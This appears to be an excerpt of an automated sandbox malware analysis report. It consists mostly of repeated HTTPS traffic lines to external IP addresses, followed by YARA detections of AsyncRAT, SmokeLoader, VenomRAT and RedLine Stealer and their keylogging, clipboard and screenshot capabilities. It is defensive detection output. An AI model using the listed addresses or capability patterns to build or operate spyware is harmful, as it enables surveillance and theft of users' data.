Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50734
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50737
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50736
Source: unknown Network traffic detected: HTTP traffic on port 50806 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50738
Source: unknown Network traffic detected: HTTP traffic on port 50749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50726 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50730
Source: unknown Network traffic detected: HTTP traffic on port 50750 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50773 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50796 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50829 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50790 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50743
Source: unknown Network traffic detected: HTTP traffic on port 50801 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50746
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50745
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50748
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50747
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50749
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50740
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50741
Source: unknown Network traffic detected: HTTP traffic on port 50761 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50755 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50703 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50698 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50812 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50755
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50754
Source: unknown Network traffic detected: HTTP traffic on port 50720 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50759
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50758
Source: unknown Network traffic detected: HTTP traffic on port 50789 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50751
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50750
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50752
Source: unknown Network traffic detected: HTTP traffic on port 50762 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50813 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50765
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50768
Source: unknown Network traffic detected: HTTP traffic on port 50824 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50830 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50725 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50760
Source: unknown Network traffic detected: HTTP traffic on port 50784 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50818 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50762
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50761
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50763
Source: unknown Network traffic detected: HTTP traffic on port 50807 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50795 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50719 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50802 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50810
Source: unknown Network traffic detected: HTTP traffic on port 50825 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50812
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50811
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50814
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50813
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50816
Source: unknown Network traffic detected: HTTP traffic on port 50831 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50722 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50819 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50783 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50760 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50818
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50817
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50819
Source: unknown Network traffic detected: HTTP traffic on port 50754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50821
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50820
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50823
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50701
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50822
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50704
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50825
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50703
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50824
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50826
Source: unknown Network traffic detected: HTTP traffic on port 50748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50765 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50829
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50828
Source: unknown Network traffic detected: HTTP traffic on port 50759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50709
Source: unknown Network traffic detected: HTTP traffic on port 50743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50832
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50831
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50834
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50712
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50833
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50715
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50717
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50830
Source: unknown Network traffic detected: HTTP traffic on port 50704 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50695 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50719
Source: unknown Network traffic detected: HTTP traffic on port 50808 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50722
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50721
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50724
Source: unknown Network traffic detected: HTTP traffic on port 50721 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50723
Source: unknown Network traffic detected: HTTP traffic on port 50794 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50726
Source: unknown Network traffic detected: HTTP traffic on port 50788 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50725
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50728
Source: unknown Network traffic detected: HTTP traffic on port 50803 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50727
Source: unknown Network traffic detected: HTTP traffic on port 50709 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50720
Source: unknown Network traffic detected: HTTP traffic on port 50814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50799 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50820 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50729
Source: unknown Network traffic detected: HTTP traffic on port 50715 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50793 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50821 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50696
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50695
Source: unknown Network traffic detected: HTTP traffic on port 50741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50698
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50697
Source: unknown Network traffic detected: HTTP traffic on port 50712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50758 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50826 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50717 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50832 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50782 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50809 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50776 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50833 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50728 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50798 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50801
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50803
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50802
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50805
Source: unknown Network traffic detected: HTTP traffic on port 50696 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50810 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50807
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50806
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50809
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50808
Source: unknown Network traffic detected: HTTP traffic on port 50736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50776
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50779
Source: unknown Network traffic detected: HTTP traffic on port 50768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50770
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50773
Source: unknown Network traffic detected: HTTP traffic on port 50745 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50811 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50697 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50792 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50788
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50789
Source: unknown Network traffic detected: HTTP traffic on port 50822 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50805 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50780
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50782
Source: unknown Network traffic detected: HTTP traffic on port 50786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50784
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50783
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50786
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50785
Source: unknown Network traffic detected: HTTP traffic on port 50816 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50797 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50751 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50799
Source: unknown Network traffic detected: HTTP traffic on port 50791 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50798
Source: unknown Network traffic detected: HTTP traffic on port 50823 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50791
Source: unknown Network traffic detected: HTTP traffic on port 50701 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50790
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50793
Source: unknown Network traffic detected: HTTP traffic on port 50785 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50792
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50795
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50794
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50797
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50796
Source: unknown Network traffic detected: HTTP traffic on port 50779 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50817 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50828 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50834 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50763 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50729 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50780 -> 443
Source: unknown HTTPS traffic detected: 185.149.100.242:443 -> 192.168.2.4:50695 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50696 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50697 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50698 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50701 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.0.235.84:443 -> 192.168.2.4:50703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50715 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50717 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50719 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.2.16:443 -> 192.168.2.4:50720 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50721 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50722 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50723 version: TLS 1.2
Source: unknown HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:50724 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50725 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50726 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50727 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50728 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50745 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50747 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50751 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50755 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50758 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50760 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.213.85:443 -> 192.168.2.4:50761 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50762 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50763 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50765 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50768 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50773 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50776 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50779 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50780 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50783 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50784 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50784 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50786 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50788 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50789 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50790 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50791 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50792 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50793 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50794 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50795 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50796 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50797 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50798 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50799 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50801 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50802 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50803 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50805 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50807 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50808 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50809 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50810 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50811 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50812 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50813 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50816 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50817 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50818 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50819 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50820 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50821 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50822 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50823 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50824 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50825 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50826 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50828 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50829 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50830 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50831 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.139:443 -> 192.168.2.4:50832 version: TLS 1.2
Source: unknown HTTPS traffic detected: 167.235.128.153:443 -> 192.168.2.4:50833 version: TLS 1.2
Source: unknown HTTPS traffic detected: 107.173.160.137:443 -> 192.168.2.4:50834 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected AsyncRAT
Source: Yara match File source: 18.2.vm.exe.29e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.vm.exe.29e0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 25.2.vm.exe.4e40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 25.2.vm.exe.4e40000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000012.00000002.4114154243.00000000029E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000002.3248787304.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Yara detected SmokeLoader
Source: Yara match File source: 00000003.00000002.1964638535.00000000040B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1731949971.00000000026F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1732147386.00000000040B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.1964603084.0000000004090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected VenomRAT
Source: Yara match File source: Process Memory Space: vm.exe PID: 5804, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vm.exe PID: 5252, type: MEMORYSTR
Contains functionality to log keystrokes (.Net Source)
Source: 18.2.vm.exe.29e0000.1.raw.unpack, Keylogger.cs .Net Code: KeyboardLayout
Source: 25.2.vm.exe.4e40000.1.raw.unpack, Keylogger.cs .Net Code: KeyboardLayout
Contains functionality for read data from the clipboard
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0076ED00 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 13_2_0076ED00
Contains functionality to read the clipboard data
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0076ED00 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 13_2_0076ED00
Contains functionality to record screenshots
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0076FB2F GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject, 13_2_0076FB2F

Spam, unwanted Advertisements and Ransom Demands
barindex
Reads the Security eventlog
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Reads the System eventlog
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell Jump to behavior

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 18.2.vm.exe.29e0000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 18.2.vm.exe.29e0000.1.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 25.2.vm.exe.4e40000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 25.2.vm.exe.4e40000.1.unpack, type: UNPACKEDPE Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 00000003.00000002.1964638535.00000000040B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1731949971.00000000026F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000003.00000002.1964481125.000000000258D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
